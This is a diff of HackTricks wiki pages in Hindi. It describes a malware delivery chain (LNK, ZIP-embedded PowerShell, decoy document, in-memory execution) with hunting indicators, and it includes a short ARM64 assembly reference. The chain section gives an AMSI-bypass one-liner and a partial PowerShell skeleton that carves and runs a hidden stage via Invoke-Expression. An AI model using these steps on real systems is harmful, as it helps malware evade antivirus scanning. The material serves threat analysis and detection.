4) वर्तमान process के लिए AMSI बायपास करें: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) अगले चरण को deobfuscate करें (e.g., remove all # characters) और इसे memory में execute करें।
1) सामान्य paths में original ZIP locate करें: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, और current working directory का parent.
2) ZIP bytes पढ़ें और एक hardcoded marker (e.g., xFIQCV) खोजें. Marker के बाद जो कुछ भी है वह embedded PowerShell payload है.
3) ZIP को %ProgramData% में copy करें, वहां extract करें, और decoy .docx खोलें ताकि यह legitimate लगे.
4) वर्तमान process के लिए AMSI bypass करें: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) अगले stage को deobfuscate करें (उदा., सभी # characters हटाना) और इसे memory में execute करें.
Example PowerShell skeleton to carve and run the embedded stage:
```powershell
@ -191,21 +191,21 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
Invoke-Expression $code
```
नोट्स
- Delivery अक्सर प्रतिष्ठित PaaS सबडोमेन का दुरुपयोग करता है (e.g., *.herokuapp.com) और payloads को gate कर सकता है (IP/UA के आधार पर benign ZIPs परोस सकता है)।
- अगला चरण अक्सर base64/XOR shellcode को decrypt करता है और disk artifacts को कम करने के लिए इसे Reflection.Emit + VirtualAlloc के माध्यम से execute करता है।
- Delivery अक्सर प्रतिष्ठित PaaS subdomains (उदा., *.herokuapp.com) का दुरुपयोग करता है और हो सकता है कि payloads को gate करे (IP/UA के आधार पर सुरक्षित ZIPs परोसे).
- अगला चरण अक्सर base64/XOR shellcode को decrypt करता है और इसे Reflection.Emit + VirtualAlloc के माध्यम से execute करता है ताकि डिस्क पर निशान कम हों।
Persistence used in the same chain
- COM TypeLib hijacking of the Microsoft Web Browser control ताकि IE/Explorer या इसे embed करने वाला कोई भी app payload को स्वचालित रूप से फिर से लॉन्च कर दे। विवरण और तैयार-से-उपयोग कमांड यहाँ देखें:
समान चेन में प्रयुक्त Persistence
- COM TypeLib hijacking of the Microsoft Web Browser control ताकि IE/Explorer या कोई भी ऐप जो इसे embed करता है, payload को स्वचालित रूप से re-launch कर दे। यहां विवरण और ready-to-use commands देखें:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Hunting/IOCs
- ZIP फ़ाइलें जिनमें archive data के अंत में ASCII marker string (e.g., xFIQCV) appended होती है।
- .lnk जो parent/user फ़ोल्डरों को enumerate करके ZIP ढूंढता है और एक decoy document खोलता है।
- AMSI में छेड़छाड़ via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- लंबे समय तक चलने वाले business threads जो trusted PaaS domains पर host किए गए links के साथ समाप्त होते हैं।
- ZIP फ़ाइलें जिनमें archive data के अंत में ASCII marker string (उदा., xFIQCV) जुड़ी होती हैं।
- .lnk जो parent/user फ़ोल्डरों को सूचीबद्ध करके ZIP का पता लगाती है और एक decoy document खोलती है।
- AMSI tampering [System.Management.Automation.AmsiUtils]::amsiInitFailed के माध्यम से।
- लंबी चलने वाली business threads जो trusted PaaS domains पर होस्ट किए गए links के साथ समाप्त होती हैं।
## संदर्भ

579
src/linux-hardening/privilege-escalation/README.md
View File

File diff suppressed because it is too large Load Diff

531
src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
View File

@ -2,256 +2,259 @@
{{#include ../../../banners/hacktricks-training.md}}
## **अपवाद स्तर - EL (ARM64v8)**
## **Exception Levels - EL (ARM64v8)**
ARMv8 आर्किटेक्चर में, निष्पादन स्तर, जिसे अपवाद स्तर (ELs) के रूप में जाना जाता है, निष्पादन वातावरण के विशेषाधिकार स्तर और क्षमताओं को परिभाषित करता है। चार अपवाद स्तर हैं, जो EL0 से EL3 तक फैले हुए हैं, प्रत्येक का एक अलग उद्देश्य है:
ARMv8 आर्किटेक्चर में, execution levels जिन्हें Exception Levels (ELs) कहा जाता है, execution environment के privilege स्तर और क्षमताओं को परिभाषित करते हैं। चार exception levels होते हैं, जो EL0 से EL3 तक होते हैं, और प्रत्येक का अलग उद्देश्य होता है:
1. **EL0 - उपयोगकर्ता मोड**:
- यह सबसे कम विशेषाधिकार स्तर है और नियमित एप्लिकेशन कोड निष्पादित करने के लिए उपयोग किया जाता है।
1. **EL0 - User Mode**:
- यह सबसे कम-privileged स्तर है और सामान्य application code के निष्पादन के लिए उपयोग किया जाता है।
- EL0 पर चलने वाले एप्लिकेशन एक-दूसरे और सिस्टम सॉफ़्टवेयर से अलग होते हैं, जिससे सुरक्षा और स्थिरता बढ़ती है।
2. **EL1 - ऑपरेटिंग सिस्टम कर्नेल मोड**:
- अधिकांश ऑपरेटिंग सिस्टम कर्नेल इस स्तर पर चलते हैं।
- EL1 के पास EL0 की तुलना में अधिक विशेषाधिकार होते हैं और यह सिस्टम संसाधनों तक पहुँच सकता है, लेकिन सिस्टम की अखंडता सुनिश्चित करने के लिए कुछ प्रतिबंधों के साथ।
3. **EL2 - हाइपरवाइजर मोड**:
- यह स्तर वर्चुअलाइजेशन के लिए उपयोग किया जाता है। EL2 पर चलने वाला एक हाइपरवाइजर एक ही भौतिक हार्डवेयर पर कई ऑपरेटिंग सिस्टम (प्रत्येक अपने EL1 में) का प्रबंधन कर सकता है।
- EL2 वर्चुअलाइज्ड वातावरण के लिए अलगाव और नियंत्रण के लिए सुविधाएँ प्रदान करता है।
4. **EL3 - सुरक्षित मॉनिटर मोड**:
- यह सबसे अधिक विशेषाधिकार स्तर है और अक्सर सुरक्षित बूटिंग और विश्वसनीय निष्पादन वातावरण के लिए उपयोग किया जाता है।
- EL3 सुरक्षित और गैर-सुरक्षित राज्यों के बीच पहुँच का प्रबंधन और नियंत्रण कर सकता है (जैसे सुरक्षित बूट, विश्वसनीय OS, आदि)।
2. **EL1 - Operating System Kernel Mode**:
- अधिकांश operating system kernels इस स्तर पर चलते हैं।
- EL1 में EL0 की तुलना में अधिक privileges होते हैं और यह system resources तक पहुंच सकता है, लेकिन सिस्टम अखंडता सुनिश्चित करने के लिए कुछ प्रतिबंध होते हैं।
3. **EL2 - Hypervisor Mode**:
- यह स्तर virtualization के लिए उपयोग किया जाता है। EL2 पर चलने वाला hypervisor एक ही भौतिक हार्डवेयर पर कई operating systems (प्रत्येक अपने EL1 में) को प्रबंधित कर सकता है।
- EL2 virtualized environments के isolation और नियंत्रण की सुविधाएँ प्रदान करता है।
4. **EL3 - Secure Monitor Mode**:
- यह सबसे अधिक privileged स्तर है और अक्सर secure booting और trusted execution environments के लिए उपयोग किया जाता है।
- EL3 secure और non-secure राज्यों (जैसे secure boot, trusted OS आदि) के बीच पहुँच और नियंत्रण को प्रबंधित कर सकता है।
इन स्तरों का उपयोग विभिन्न सिस्टम पहलुओं को प्रबंधित करने के लिए एक संरचित और सुरक्षित तरीके की अनुमति देता है, उपयोगकर्ता एप्लिकेशनों से लेकर सबसे विशेषाधिकार प्राप्त सिस्टम सॉफ़्टवेयर तक। ARMv8 का विशेषाधिकार स्तरों के प्रति दृष्टिकोण विभिन्न सिस्टम घटकों को प्रभावी ढंग से अलग करने में मदद करता है, जिससे सिस्टम की सुरक्षा और मजबूती बढ़ती है।
इन स्तरों के उपयोग से सिस्टम के विभिन्न पहलुओं को संरचित और सुरक्षित तरीके से प्रबंधित करने की अनुमति मिलती है, उपयोगकर्ता अनुप्रयोगों से लेकर सबसे privileged सिस्टम सॉफ़्टवेयर तक। ARMv8 का यह privilege स्तर का दृष्टिकोण विभिन्न सिस्टम घटकों को प्रभावी ढंग से अलग करने में मदद करता है, जिससे सिस्टम की सुरक्षा और मजबूती बढ़ती है।
## **रजिस्टर (ARM64v8)**
## **Registers (ARM64v8)**
ARM64 में **31 सामान्य-उद्देश्य रजिस्टर** होते हैं, जिन्हें `x0` से `x30` तक लेबल किया गया है। प्रत्येक **64-बिट** (8-बाइट) मान संग्रहीत कर सकता है। जिन ऑपरेशनों के लिए केवल 32-बिट मान की आवश्यकता होती है, उन रजिस्टरों को 32-बिट मोड में w0 से w30 के नामों का उपयोग करके एक्सेस किया जा सकता है।
ARM64 में **31 general-purpose registers** होते हैं, जिन्हें `x0` से `x30` लेबल किया गया है। प्रत्येक में **64-bit** (8-बाइट) मान संग्रहीत हो सकता है। उन ऑपरेशनों के लिए जो केवल 32-bit मान की आवश्यकता होती है, वही registers 32-bit मोड में `w0` से `w30` नामों से एक्सेस किए जा सकते हैं।
1. **`x0`** से **`x7`** - ये आमतौर पर स्क्रैच रजिस्टर के रूप में और उपरूटीन में पैरामीटर पास करने के लिए उपयोग किए जाते हैं।
- **`x0`** एक फ़ंक्शन का लौटने वाला डेटा भी ले जाता है।
2. **`x8`** - लिनक्स कर्नेल में, `x8` `svc` निर्देश के लिए सिस्टम कॉल नंबर के रूप में उपयोग किया जाता है। **macOS में x16 का उपयोग किया जाता है!**
3. **`x9`** से **`x15`** - अधिक अस्थायी रजिस्टर, अक्सर स्थानीय चर के लिए उपयोग किए जाते हैं।
4. **`x16`** और **`x17`** - **इंट्रा-प्रोसीजुरल कॉल रजिस्टर**। तात्कालिक मानों के लिए अस्थायी रजिस्टर। इन्हें अप्रत्यक्ष फ़ंक्शन कॉल और PLT (प्रक्रिया लिंक टेबल) स्टब के लिए भी उपयोग किया जाता है।
- **`x16`** **macOS** में **`svc`** निर्देश के लिए **सिस्टम कॉल नंबर** के रूप में उपयोग किया जाता है।
5. **`x18`** - **प्लेटफ़ॉर्म रजिस्टर**। इसे सामान्य-उद्देश्य रजिस्टर के रूप में उपयोग किया जा सकता है, लेकिन कुछ प्लेटफार्मों पर, यह रजिस्टर प्लेटफॉर्म-विशिष्ट उपयोगों के लिए आरक्षित है: विंडोज़ में वर्तमान थ्रेड वातावरण ब्लॉक के लिए पॉइंटर, या वर्तमान **लिनक्स कर्नेल में निष्पादित कार्य संरचना को इंगित करने के लिए**।
6. **`x19`** से **`x28`** - ये कॉल-सेव किए गए रजिस्टर हैं। एक फ़ंक्शन को अपने कॉलर के लिए इन रजिस्टरों के मानों को संरक्षित करना चाहिए, इसलिए इन्हें स्टैक में संग्रहीत किया जाता है और कॉलर पर वापस जाने से पहले पुनर्प्राप्त किया जाता है।
7. **`x29`** - **फ्रेम पॉइंटर** स्टैक फ्रेम को ट्रैक करने के लिए। जब एक नया स्टैक फ्रेम बनाया जाता है क्योंकि एक फ़ंक्शन को कॉल किया जाता है, तो **`x29`** रजिस्टर **स्टैक में संग्रहीत** किया जाता है और **नया** फ्रेम पॉइंटर पता (**`sp`** पता) इस रजिस्ट्रि में **संग्रहीत** किया जाता है।
- इस रजिस्टर का उपयोग एक **सामान्य-उद्देश्य रजिस्टर** के रूप में भी किया जा सकता है, हालांकि इसे आमतौर पर **स्थानीय चर** के संदर्भ के रूप में उपयोग किया जाता है।
8. **`x30`** या **`lr`**- **लिंक रजिस्टर**। यह एक `BL` (ब्रांच विद लिंक) या `BLR` (ब्रांच विद लिंक टू रजिस्टर) निर्देश के निष्पादन के समय **रिटर्न पता** रखता है, जो इस रजिस्टर में **`pc`** मान को संग्रहीत करता है।
- इसे किसी अन्य रजिस्टर की तरह भी उपयोग किया जा सकता है।
- यदि वर्तमान फ़ंक्शन एक नए फ़ंक्शन को कॉल करने जा रहा है और इसलिए `lr` को ओवरराइट करेगा, तो यह इसे स्टैक में शुरुआत में संग्रहीत करेगा, यह उपसंहार है (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` और `lr` को स्टोर करें, स्थान उत्पन्न करें और नया `fp` प्राप्त करें) और अंत में इसे पुनर्प्राप्त करें, यह प्रस्तावना है (`ldp x29, x30, [sp], #48; ret` -> `fp` और `lr` को पुनर्प्राप्त करें और लौटें)।
9. **`sp`** - **स्टैक पॉइंटर**, जो स्टैक के शीर्ष को ट्रैक करने के लिए उपयोग किया जाता है।
- **`sp`** मान को हमेशा कम से कम एक **क्वाडवर्ड** **संरेखण** पर रखा जाना चाहिए, अन्यथा एक संरेखण अपवाद हो सकता है।
10. **`pc`** - **प्रोग्राम काउंटर**, जो अगले निर्देश की ओर इशारा करता है। इस रजिस्टर को केवल अपवाद उत्पन्न करने, अपवाद लौटाने और शाखाओं के माध्यम से अपडेट किया जा सकता है। इस रजिस्टर को पढ़ने के लिए केवल सामान्य निर्देश शाखा के साथ लिंक निर्देश (BL, BLR) हैं, जो **`pc`** पता को **`lr`** (लिंक रजिस्टर) में संग्रहीत करते हैं।
11. **`xzr`** - **ज़ीरो रजिस्टर**। इसे **`wzr`** भी कहा जाता है इसके **32**-बिट रजिस्टर रूप में। इसे आसानी से शून्य मान प्राप्त करने के लिए (सामान्य ऑपरेशन) या **`subs`** का उपयोग करके तुलना करने के लिए उपयोग किया जा सकता है जैसे **`subs XZR, Xn, #10`** परिणामस्वरूप डेटा को कहीं भी संग्रहीत किए बिना ( **`xzr`** में)।
1. **`x0`** से **`x7`** - ये आम तौर पर scratch registers और subroutines को पैरामीटर पास करने के लिए उपयोग किए जाते हैं।
- **`x0`** एक फ़ंक्शन के return data को भी वहन करता है
2. **`x8`** - Linux kernel में, `x8` का उपयोग `svc` instruction के लिए system call number के रूप में किया जाता है। **In macOS the x16 is the one used!**
3. **`x9`** से **`x15`** - और अधिक temporary registers, अक्सर local variables के लिए उपयोग किए जाते हैं।
4. **`x16`** और **`x17`** - **Intra-procedural Call Registers**। Immediate मानों के लिए temporary registers। इन्हें indirect function calls और PLT (Procedure Linkage Table) stubs के लिए भी उपयोग किया जाता है।
- **`x16`** को **macOS** में **`svc`** instruction के लिए **system call number** के रूप में उपयोग किया जाता है।
5. **`x18`** - **Platform register**। इसे सामान्य प्रयोजन के रूप में उपयोग किया जा सकता है, लेकिन कुछ प्लेटफार्मों पर यह प्लेटफार्म-विशिष्ट उपयोगों के लिए आरक्षित होता है: Windows में current thread environment block का pointer, या linux kernel में वर्तमान **executing task structure** की ओर पॉइंट करने के लिए।
6. **`x19`** से **`x28`** - ये callee-saved registers हैं। एक फ़ंक्शन को इन registers के मानों को उसके caller के लिए संरक्षित रखना चाहिए, इसलिए इन्हें stack में सेव किया जाता है और caller को लौटने से पहले पुनर्स्थापित किया जाता है।
7. **`x29`** - **Frame pointer** जो stack frame का ट्रैक रखने के लिए होता है। जब किसी फ़ंक्शन के कॉल होने पर नया stack frame बनता है, तो **`x29`** register **stack में संग्रहीत** किया जाता है और नया frame pointer address (जो कि **`sp`** address होता है) इस register में **संग्रहीत** किया जाता है।
- यह register सामान्य प्रयोजन के रूप में भी उपयोग किया जा सकता है हालाँकि इसे आमतौर पर **local variables** के संदर्भ के रूप में उपयोग किया जाता है।
8. **`x30`** या **`lr`** - **Link register**। यह `BL` (Branch with Link) या `BLR` (Branch with Link to Register) instruction निष्पादित होने पर **return address** रखता है क्योंकि यह register में **`pc`** मान संग्रहीत कर देता है।
- इसे किसी अन्य register की तरह भी उपयोग किया जा सकता है।
- यदि वर्तमान फ़ंक्शन एक नए फ़ंक्शन को कॉल करने वाला है और इसलिए `lr` overwrite हो जाएगा, तो यह इसे शुरुआत में stack में संग्रहीत करेगा, यह epilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Store `fp` and `lr`, generate space and get new `fp`) है और अंत में इसे पुनर्प्राप्त करता है, यह prologue (`ldp x29, x30, [sp], #48; ret` -> Recover `fp` and `lr` and return`) है।
9. **`sp`** - **Stack pointer**, जो stack के शीर्ष का ट्रैक रखने के लिए उपयोग होता है।
- **`sp`** मान को हमेशा कम से कम एक **quadword** **alignment** में रखा जाना चाहिए अन्यथा alignment exception हो सकती है।
10. **`pc`** - **Program counter**, जो अगले instruction की ओर इशारा करता है। इस register को केवल exception generation, exception returns, और branches के माध्यम से ही अपडेट किया जा सकता है। सामान्य instructions में केवल branch with link instructions (BL, BLR) ही इस register को पढ़ सकते हैं ताकि वे **`pc`** address को **`lr`** (Link Register) में स्टोर कर सकें।
11. **`xzr`** - **Zero register**। 32-बिट register स्वरूप में इसे **`wzr`** भी कहा जाता है। इसे zero मान आसानी से प्राप्त करने के लिए उपयोग किया जा सकता है (सामान्य ऑपरेशन) या तुलना करने के लिए `subs` जैसी instructions में परिणाम को कहीं स्टोर न करने के लिए उपयोग किया जा सकता है (उदा. **`subs XZR, Xn, #10`**).
**`Wn`** रजिस्टर **`Xn`** रजिस्टर का **32-बिट** संस्करण हैं।
**`Wn`** registers **`Xn`** register का **32bit** संस्करण हैं।
### SIMD और फ्लोटिंग-पॉइंट रजिस्टर
> [!TIP]
> Registers from X0 - X18 volatile होते हैं, जिसका अर्थ है कि उनका मान function calls और interrupts द्वारा बदला जा सकता है। हालाँकि, registers from X19 - X28 non-volatile हैं, यानी इनके मानों को function calls के दौरान संरक्षित रखना होगा ("callee saved")।
इसके अलावा, **128-बिट लंबाई के 32 रजिस्टर** हैं जिन्हें अनुकूलित सिंगल इंस्ट्रक्शन मल्टीपल डेटा (SIMD) संचालन में और फ्लोटिंग-पॉइंट अंकगणित करने के लिए उपयोग किया जा सकता है। इन्हें Vn रजिस्टर कहा जाता है, हालांकि वे **64**-बिट, **32**-बिट, **16**-बिट और **8**-बिट में भी कार्य कर सकते हैं और तब इन्हें **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** और **`Bn`** कहा जाता है।
### SIMD and Floating-Point Registers
### सिस्टम रजिस्टर
इसके अलावा, और भी **32 registers of 128bit length** हैं जो optimized single instruction multiple data (SIMD) operations और floating-point arithmetic के लिए उपयोग किए जा सकते हैं। इन्हें Vn registers कहा जाता है हालाँकि इन्हें **64**-bit, **32**-bit, **16**-bit और **8**-bit मोड में भी चलाया जा सकता है और तब इन्हें **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** और **`Bn`** कहा जाता है।
**सैकड़ों सिस्टम रजिस्टर** हैं, जिन्हें विशेष-उद्देश्य रजिस्टर (SPRs) भी कहा जाता है, जो **प्रोसेसर** के व्यवहार की **निगरानी** और **नियंत्रण** के लिए उपयोग किए जाते हैं।\
इन्हें केवल समर्पित विशेष निर्देश **`mrs`** और **`msr`** का उपयोग करके पढ़ा या सेट किया जा सकता है।
### System Registers
विशेष रजिस्टर **`TPIDR_EL0`** और **`TPIDDR_EL0`** आमतौर पर रिवर्स इंजीनियरिंग करते समय पाए जाते हैं। `EL0` उपसर्ग उस **न्यूनतम अपवाद** को इंगित करता है जिससे रजिस्टर को एक्सेस किया जा सकता है (इस मामले में EL0 नियमित अपवाद (विशेषाधिकार) स्तर है जिस पर नियमित प्रोग्राम चलते हैं)।\
इन्हें आमतौर पर **थ्रेड-स्थानीय भंडारण** मेमोरी क्षेत्र के **बेस पते** को संग्रहीत करने के लिए उपयोग किया जाता है। आमतौर पर पहला रजिस्टर EL0 में चलने वाले प्रोग्राम के लिए पढ़ने और लिखने योग्य होता है, लेकिन दूसरा EL0 से पढ़ा जा सकता है और EL1 (जैसे कर्नेल) से लिखा जा सकता है।
**There are hundreds of system registers**, जिन्हें special-purpose registers (SPRs) भी कहा जाता है, processors के व्यवहार की **monitoring** और **controlling** के लिए उपयोग किए जाते हैं.\
इन्हें केवल समर्पित special instructions **`mrs`** और **`msr`** का उपयोग करके पढ़ा या सेट किया जा सकता है।
- `mrs x0, TPIDR_EL0 ; TPIDR_EL0 को x0 में पढ़ें`
- `msr TPIDR_EL0, X0 ; x0 को TPIDR_EL0 में लिखें`
विशेष registers **`TPIDR_EL0`** और **`TPIDDR_EL0`** reversing engineering में अक्सर मिलते हैं। `EL0` suffix दर्शाता है कि यह register किस न्यूनतम exception स्तर से एक्सेस किया जा सकता है (इस मामले में EL0 वह नियमित exception (privilege) स्तर है जिस पर सामान्य प्रोग्राम चलते हैं)।\
इनका अक्सर उपयोग thread-local storage क्षेत्र के base address को store करने के लिए किया जाता है। आमतौर पर पहला readable और writable होता है programs द्वारा जो EL0 में चल रहे हैं, लेकिन दूसरा EL0 से पढ़ा जा सकता है और EL1 (kernel) से लिखा जा सकता है।
- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0`
- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0`
### **PSTATE**
**PSTATE** में कई प्रक्रिया घटक होते हैं जो ऑपरेटिंग-सिस्टम-दृश्यमान **`SPSR_ELx`** विशेष रजिस्टर में अनुक्रमित होते हैं, X वह **अनुमति** **स्तर** है जिस पर अपवाद उत्पन्न होता है (यह अपवाद समाप्त होने पर प्रक्रिया की स्थिति को पुनर्प्राप्त करने की अनुमति देता है)।\
ये सुलभ क्षेत्र हैं:
**PSTATE** में कई process घटक होते हैं जो operating-system-visible **`SPSR_ELx`** special register में serialized होते हैं, जहाँ X triggered exception का **permission** **level** होता है (यह exception समाप्त होने पर process state को पुनर्प्राप्त करने की अनुमति देता है)।\
ये पहुँच योग्य fields हैं:
<figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
- **`N`**, **`Z`**, **`C`** और **`V`** स्थिति ध्वज:
- **`N`** का अर्थ है कि ऑपरेशन ने नकारात्मक परिणाम उत्पन्न किया
- **`Z`** का अर्थ है कि ऑपरेशन ने शून्य उत्पन्न किया
- **`C`** का अर्थ है कि ऑपरेशन ने कैरी किया
- **`V`** का अर्थ है कि ऑपरेशन ने एक साइन ओवरफ्लो उत्पन्न किया:
- दो सकारात्मक संख्याओं का योग एक नकारात्मक परिणाम उत्पन्न करता है।
- दो नकारात्मक संख्याओं का योग एक सकारात्मक परिणाम उत्पन्न करता है।
- घटाव में, जब एक बड़ा नकारात्मक संख्या एक छोटे सकारात्मक संख्या (या इसके विपरीत) से घटाई जाती है, और परिणाम को दिए गए बिट आकार की सीमा के भीतर प्रदर्शित नहीं किया जा सकता है।
- स्पष्ट रूप से प्रोसेसर नहीं जानता कि ऑपरेशन साइन किया गया है या नहीं, इसलिए यह ऑपरेशनों में C और V की जांच करेगा और यह संकेत देगा कि यदि कैरी हुआ है तो यह साइन किया गया था या असाइन किया गया था।
- The **`N`**, **`Z`**, **`C`** और **`V`** condition flags:
- **`N`** मतलब ऑपरेशन का परिणाम नकारात्मक हुआ
- **`Z`** मतलब ऑपरेशन शून्य हुआ
- **`C`** मतलब ऑपरेशन में carry हुआ
- **`V`** मतलब ऑपरेशन में signed overflow हुआ:
- दो सकारात्मक संख्याओं के जोड़ से नकारात्मक परिणाम होना।
- दो नकारात्मक संख्याओं के जोड़ से सकारात्मक परिणाम होना।
- घटाव में, जब एक बड़ा नकारात्मक नंबर एक छोटे सकारात्मक नंबर से घटाया जाता है (या इसके विपरीत), और परिणाम दिए गए बिट आकार की सीमा में प्रदर्शित नहीं किया जा सकता।
- स्पष्ट रूप से processor यह नहीं जानता कि ऑपरेशन signed है या नहीं, इसलिए यह operations में C और V की जाँच करेगा और बताएगा कि carry हुआ या नहीं चाहे वह signed या unsigned हो।
> [!WARNING]
> सभी निर्देश इन ध्वजों को अपडेट नहीं करते हैं। कुछ जैसे **`CMP`** या **`TST`** करते हैं, और अन्य जिनके पास s उपसर्ग होता है जैसे **`ADDS`** भी ऐसा करते हैं।
> सभी instructions इन flags को अपडेट नहीं करते। कुछ जैसे **`CMP`** या **`TST`** करते हैं, और अन्य जिनके अंत में s लगा होता है जैसे **`ADDS`** भी करते हैं।
- वर्तमान **रजिस्टर चौड़ाई (`nRW`) ध्वज**: यदि ध्वज का मान 0 है, तो प्रोग्राम फिर से शुरू होने पर AArch64 निष्पादन स्थिति में चलेगा।
- वर्तमान **अपवाद स्तर** (**`EL`**): EL0 में चलने वाला एक नियमित प्रोग्राम का मान 0 होगा।
- **सिंगल स्टेपिंग** ध्वज (**`SS`**): डिबगर्स द्वारा एक सिंगल स्टेप सेट करने के लिए उपयोग किया जाता है, **`SPSR_ELx`** के भीतर एक अपवाद के माध्यम से SS ध्वज को 1 पर सेट करके। प्रोग्राम एक कदम चलेगा और एक सिंगल स्टेप अपवाद उत्पन्न करेगा।
- **अवैध अपवाद** स्थिति ध्वज (**`IL`**): इसका उपयोग तब किया जाता है जब एक विशेषाधिकार प्राप्त सॉफ़्टवेयर एक अवैध अपवाद स्तर स्थानांतरण करता है, यह ध्वज 1 पर सेट किया जाता है और प्रोसेसर एक अवैध स्थिति अपवाद उत्पन्न करता है।
- **`DAIF`** ध्वज: ये ध्वज एक विशेषाधिकार प्राप्त प्रोग्राम को कुछ बाहरी अपवादों को चयनात्मक रूप से मास्क करने की अनुमति देते हैं।
- यदि **`A`** 1 है, तो इसका अर्थ है कि **असिंक्रोनस एबॉर्ट** उत्पन्न होंगे। **`I`** बाहरी हार्डवेयर **इंटरप्ट रिक्वेस्ट** (IRQs) का उत्तर देने के लिए कॉन्फ़िगर करता है। और F **फास्ट इंटरप्ट रिक्वेस्ट** (FIRs) से संबंधित है।
- **स्टैक पॉइंटर चयन** ध्वज (**`SPS`**): EL1 और उससे ऊपर चलने वाले विशेषाधिकार प्राप्त प्रोग्राम अपने स्वयं के स्टैक पॉइंटर रजिस्टर और उपयोगकर्ता-मॉडल वाले के बीच स्विच कर सकते हैं (जैसे `SP_EL1` और `EL0` के बीच)। यह स्विचिंग **`SPSel`** विशेष रजिस्टर में लिखकर की जाती है। इसे EL0 से नहीं किया जा सकता है।
- वर्तमान **register width (`nRW`) flag**: यदि यह flag 0 रखता है, तो प्रोग्राम AArch64 execution state में resumed होने पर चलेगा।
- वर्तमान **Exception Level** (**`EL`**): EL0 में चल रहा सामान्य प्रोग्राम का मान 0 होगा
- **single stepping** flag (**`SS`**): Debuggers द्वारा single step करने के लिए उपयोग किया जाता है—exception के माध्यम से **`SPSR_ELx`** के अंदर SS flag को 1 सेट करके। प्रोग्राम एक step चलाएगा और एक single step exception जारी करेगा।
- **illegal exception** state flag (**`IL`**): यह तब मार्क करने के लिए उपयोग किया जाता है जब कोई privileged सॉफ़्टवेयर invalid exception level transfer करता है, यह flag 1 पर सेट हो जाता है और processor एक illegal state exception ट्रिगर करता है।
- **`DAIF`** flags: ये flags privileged प्रोग्राम को कुछ external exceptions को selective रूप से mask करने की अनुमति देते हैं।
- यदि **`A`** 1 है तो इसका मतलब है कि **asynchronous aborts** ट्रिगर होंगे। **`I`** external hardware **Interrupts Requests** (IRQs) का जवाब देने के लिए configure करता है। और **F** का संबंध **Fast Interrupt Requests** (FIRs) से है।
- **stack pointer select** flags (**`SPS`**): EL1 और उससे ऊपर चल रहे privileged प्रोग्राम अपने स्वयं के stack pointer register और user-model वाले के बीच swap कर सकते हैं (उदा. `SP_EL1` और `EL0`)। यह switching **`SPSel`** special register में लिखकर किया जाता है। इसे EL0 से नहीं किया जा सकता।
## **कॉलिंग कन्वेंशन (ARM64v8)**
## **Calling Convention (ARM64v8)**
ARM64 कॉलिंग कन्वेंशन निर्दिष्ट करता है कि एक फ़ंक्शन के लिए **पहले आठ पैरामीटर** रजिस्टर **`x0` से `x7`** में पास किए जाते हैं। **अतिरिक्त** पैरामीटर **स्टैक** पर पास किए जाते हैं। **रिटर्न** मान रजिस्टर **`x0`** में वापस पास किया जाता है, या **`x1`** में भी **यदि यह 128 बिट लंबा है**। **`x19`** से **`x30`** और **`sp`** रजिस्टर को फ़ंक्शन कॉल के बीच **संरक्षित** किया जाना चाहिए।
ARM64 calling convention निर्दिष्ट करता है कि किसी फ़ंक्शन के पहले आठ पैरामीटर registers **`x0` से `x7`** में पास किए जाते हैं। अतिरिक्त पैरामीटर **stack** पर पास किए जाते हैं। return value register **`x0`** में वापस की जाती है, या यदि यह 128 बिट लंबी है तो **`x1`** में भी। **`x19`** से **`x30`** और **`sp`** registers को function calls के दौरान **preserve** किया जाना चाहिए।
जब असेंबली में एक फ़ंक्शन को पढ़ते हैं, तो **फ़ंक्शन प्रस्तावना और उपसंहार** की तलाश करें। **प्रस्तावना** आमतौर पर **फ्रेम पॉइंटर (`x29`)** को **सहेजने**, एक **नया फ्रेम पॉइंटर** सेट करने और **स्टैक स्पेस आवंटित करने** में शामिल होती है। **उपसंहार** आमतौर पर **सहेजे गए फ्रेम पॉइंटर को पुनर्स्थापित करने** और फ़ंक्शन से **लौटने** में शामिल होता है।
यदि आप assembly में किसी फ़ंक्शन को पढ़ रहे हैं, तो फ़ंक्शन prologue और epilogue की तलाश करें। **prologue** आम तौर पर **frame pointer (`x29`) को सुरक्षित करना**, **नया frame pointer सेट करना**, और **stack space allocate करना** शामिल करता है। **epilogue** आम तौर पर **saved frame pointer को पुनर्स्थापित करना** और फ़ंक्शन से **return** करना शामिल करता है।
### स्विफ्ट में कॉलिंग कन्वेंशन
### Calling Convention in Swift
स्विफ्ट का अपना **कॉलिंग कन्वेंशन** है जिसे [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) में पाया जा सकता है।
Swift की अपनी **calling convention** है जिसे आप [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) पर देख सकते हैं
## **सामान्य निर्देश (ARM64v8)**
## **Common Instructions (ARM64v8)**
ARM64 निर्देश आमतौर पर **फॉर्मेट `opcode dst, src1, src2`** में होते हैं, जहाँ **`opcode`** वह **ऑपरेशन** है जिसे किया जाना है (जैसे `add`, `sub`, `mov`, आदि), **`dst`** वह **गंतव्य** रजिस्टर है जहाँ परिणाम संग्रहीत किया जाएगा, और **`src1`** और **`src2`** वह **स्रोत** रजिस्टर हैं। तत्काल मानों का भी स्रोत रजिस्टर के स्थान पर उपयोग किया जा सकता है।
